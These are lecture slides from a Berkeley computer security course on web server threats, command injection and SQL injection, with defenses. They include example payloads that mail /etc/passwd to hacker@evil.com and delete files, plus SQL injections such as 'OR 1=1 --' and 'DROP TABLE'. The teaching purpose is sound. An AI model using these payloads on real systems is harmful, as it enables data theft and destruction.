Web Security, Part 1

CS 161 - Computer Security
Profs. Vern Paxson & David Wagner

TAs: John Bethencourt, Erika Chin, Matthew Finifter, Cynthia Sturton, Joel Weinberger
http://inst.eecs.berkeley.edu/~cs161/

Feb 1, 2010

Web Server Threats

• What can happen?
  – Compromise
  – Defacement
  – Gateway to attacking clients
  – Disclosure
  – (not mutually exclusive)

• And what makes the problem particularly tricky?
  – Public access
  – Mission creep
**IRANIAN CYBER ARMY**

**THIS SITE HAS BEEN HACKED BY IRANIAN CYBER ARMY**

**IRANIAN.CYBER.ARMY@GMAIL.COM**

---

The Cheese Board Collective

- Pizza
- Cheese
- Directions
- History
- Books

**Click Here for Cheeseboard Hours**

cheeseboardcollective@yahoo.com

A Brief Description of Our Collective

We are a collective of about 30 members. Everyone who works at the Cheese Board is a member of the collective with equal decision making power. There is no boss, manager, or non-owner worker. Everyone makes the same hourly wage.

Cheese Board Bread Schedule
Index of /Cheese and Bread Collective

Name                  Last modified      Size Description
------------------------------------------------------------------
Parent Directory                        .                    0
AppleApricot.jpg  21-Dec-2006 17:53 19K
BerkeleyBuns.jpg  21-Dec-2006 17:53 18K
CNR home page.html  25-Dec-2009 14:20 17K
CheeseBreadPicture.jpg  23-Mar-2009 14:12 12K
CheesePage.html  23-Mar-2009 14:12 34K
CurryRamen.jpg  21-Dec-2006 17:53 18K
CoxChorizo.jpg  21-Dec-2006 17:53 18K
GreekShepherd.jpg  21-Dec-2006 17:53 19K
Map.png  21-Dec-2006 17:53 52K
OnionCurry.jpg  21-Dec-2006 17:53 16K
SourSausage.jpg  21-Dec-2006 17:53 19K
SourBeer.png  21-Dec-2006 17:53 18K
SuburbanBread.jpg  21-Dec-2006 17:53 19K
TMP-1106483770.htm  21-Dec-2006 17:53 35K
notes/                        02-Mar-2007 23:04 0
transparent.gif  21-Dec-2006 17:53 43

Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suexec Patch mod_ssl/2.2.9 OpenSSL/0.9.8g Server at cheeseboardcollective.coop Port 80
### Index of /private

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td>-</td>
</tr>
<tr>
<td>windex.html</td>
<td>26-Feb-2001</td>
<td>1.6K</td>
</tr>
<tr>
<td>poby/</td>
<td>26-Feb-2001</td>
<td>-</td>
</tr>
<tr>
<td>oliebillywedding/</td>
<td>26-Feb-2001</td>
<td>-</td>
</tr>
<tr>
<td>erik/</td>
<td>26-Feb-2001</td>
<td>-</td>
</tr>
<tr>
<td>keytrip/</td>
<td>26-Feb-2001</td>
<td>-</td>
</tr>
<tr>
<td>watersports/</td>
<td>26-Feb-2001</td>
<td>-</td>
</tr>
<tr>
<td>olieo60.html</td>
<td>25-Mar-2002</td>
<td>854</td>
</tr>
<tr>
<td>2004-02/</td>
<td>23-Feb-2004</td>
<td>-</td>
</tr>
<tr>
<td>2004-04/</td>
<td>22-Apr-2004</td>
<td>-</td>
</tr>
<tr>
<td>2003-12 parties and holidays/</td>
<td>26-May-2004</td>
<td>-</td>
</tr>
<tr>
<td>2003-11 erik's birthday/</td>
<td>26-May-2004</td>
<td>-</td>
</tr>
</tbody>
</table>

### Index of /private/server/logs

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td>20-Jan-2010</td>
<td>-</td>
</tr>
<tr>
<td>access_log</td>
<td>31-Jan-2010</td>
<td>81k</td>
</tr>
<tr>
<td>access_log.0</td>
<td>31-Jan-2010</td>
<td>129k</td>
</tr>
<tr>
<td>access_log.0.gz</td>
<td>31-Jan-2010</td>
<td>6k</td>
</tr>
<tr>
<td>access_log.1.gz</td>
<td>30-Jan-2010</td>
<td>4k</td>
</tr>
<tr>
<td>access_log.1.tmp</td>
<td>31-Jan-2010</td>
<td>0k</td>
</tr>
<tr>
<td>access_log.1.tmp.201..&gt;</td>
<td>31-Jan-2010</td>
<td>0k</td>
</tr>
<tr>
<td>access_log.10.gz</td>
<td>21-Jan-2010</td>
<td>9k</td>
</tr>
<tr>
<td>access_log.11.gz</td>
<td>20-Jan-2010</td>
<td>9k</td>
</tr>
</tbody>
</table>
Attacking Via HTTP

URLs: Global identifiers of network-retrievable resources

http://user:pass@berkeley.edu:81/class?name=cs161#homework

Simple Service Example

- Allow users to search the local phonebook for any entries that match a regular expression
- Invoked via URL like:
  http://harmless.com/phonebook.cgi?regex=<pattern>
- So for example:
  http://harmless.com/phonebook.cgi?regex=daw|vern searches phonebook for any entries with “daw” or “vern” in them
- (Note: web surfer doesn’t enter this URL themselves; an HTML form constructs it from what they type)
Simple Service Example, con’t

• Assume our server has some “glue” that parses URLs to
  extract parameters into C variables
  – and returns stderr to the user
• Simple version of code to implement search:

  /* print any employees whose name
   * matches the given regex */
  void find_employee(char *regex)
  {
    char cmd[512];
    snprintf(cmd,
             sizeof(cmd),
             "grep %s phonebook.txt", regex);
    system(cmd);
  }

Are we done?
A Digression into Breakfast Cereals

- 2600 Hz tone a form of **inband signaling**
- **Beware allowing control information to come from data**
- (also illustrates security-by-obscurity)

```c
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
            "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of
http://harmless.com/phonebook.cgi?regex=daw|vern

How about
http://harmless.com/phonebook.cgi?regex=foo;%20mail
%20-s%20hacker@evil.com%20</etc/passwd;%20rm
```
How To Fix Command Injection?

```c
snprintf(cmd, sizeof(cmd), "grep '%s' phonebook.txt", regex);

...regex=foo'; mail -s hacker@evil.com < /etc/passwd; rm'
```

Okay, then scan regex and strip ’ - does that work?
```
regex=O'Malley
```

Okay, then scan regex and escape ’ .... ?
```
regex ⇒ O'Malley (not actually quite right, but ignore that)
```
```
...regex=foo\'; mail ... ⇒ ...regex=foo\'; mail ...
```
```
(argument to grep is “foo\”)'
```

Okay, then scan regex and escape ’ and \ .... ?
```
...regex=foo\'; mail ... ⇒ ...regex=foo\\\'; mail ...
```
```
(argument to grep is “foo\\; mail ...”)
```

Input Sanitization

- In principle, can prevent injection attacks by properly sanitizing input
  - Remove inputs with *meta-characters*
    - (can have “collateral damage” for benign inputs)
  - Or escape any meta-characters (including escape characters!)
    - Requires a complete model of how input subsequently processed
      - E.g. ...regex=foo%27; mail ...
      - E.g. ...regex=foo%25%32%37; mail ...
      » Double-escaping bug
  - And/or: avoid using a feature-rich API
    - KISS + defensive programming
/* print any employees whose name * matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10]; /* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;
    envp[0] = 0;
    if ( execve(path, argv, envp) < 0 )
        command_failed(......);
}

Command Injection in the Real World

Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites -- including several at the United Nations and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines.
Command Injection in the Real World

From the looks of it, however, one of us suspects an SQL injection, in which the Web site. Markovich also question not noticed the hack for six months, and

May 8, 2009 1:53 PM PDT

UC Berkeley computers hacked, 160,000 at risk

by Michelle Meyers

This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.

Hackers break into the University of California at Berkeley’s health services center computer and potentially steal the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it’s still unclear whether hackers were able to match up those SSNs with individual names. Sherton Wason, UC’s chief technology officer, said in a press conference Friday afternoon.

Structure of Modern Web Services

Browser → URL/Form → Web server

Web page built from database

command.php?arg1=x&arg2=y

Database server
PHP: Hypertext Preprocessor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
  ```php
  <input value=<!--[?php echo $myvalue; ?>]>
  ```
- Can embed variables in double-" strings
  ```
  $user = “world”; echo “Hello $user!”;
  Or $user = “world”; echo “Hello” . $user . “!”;
  ```
- Form data in global arrays $_GET, $_POST, …

SQL

- Widely used database query language
- Fetch a set of records
  ```
  SELECT * FROM Person WHERE Username='oski'
  ```
- Add data to the table
  ```
  INSERT INTO Person (Username, Balance)
  VALUES ('oski', 10)
  ```
- Modify data
  ```
  UPDATE Person SET Balance=42 WHERE Username='oski'
  ```
- Query syntax (mostly) independent of vendor
SQL Injection Scenario

• Sample PHP
  $recipient = $_POST['recipient'];
  $sql = "SELECT PersonID FROM Person
          WHERE Balance < 100 AND
                Username='$recipient' ";
  $rs = $db->executeQuery($sql);
  $recipient = foo' OR 1=1 --
  ("--" is a comment, it masks the lack of close ‘)
  • Or foo'; DROP TABLE Person; -- ?

• How can recipient cause trouble here?
  – How can we see anyone’s balance?

SQL Injection Scenario, con’t

WHERE Balance < 100 AND
    Username='$recipient' ";

• recipient = foo' OR 1=1 --
  Or … change database however you wish
SQL Injection: Retrieving Data

1. post malicious form

2. unintended query

3. receive valuable data

SQL Injection: Modifying Data

1. post malicious form

2. unintended command

3. Database modified
Defenses (work in progress)

Character-level *taint tracking*:  
Check that keywords, metachars are untainted.

```
SELECT u FROM t WHERE n='Bobby' ✓
SELECT u FROM t WHERE n='Bobby OR 1=1 --' ❌
```

Secure template languages:  
Template languages should automatically quote or encode substitutions appropriately.

```
<P>Hello ${username}! Welcome back.
```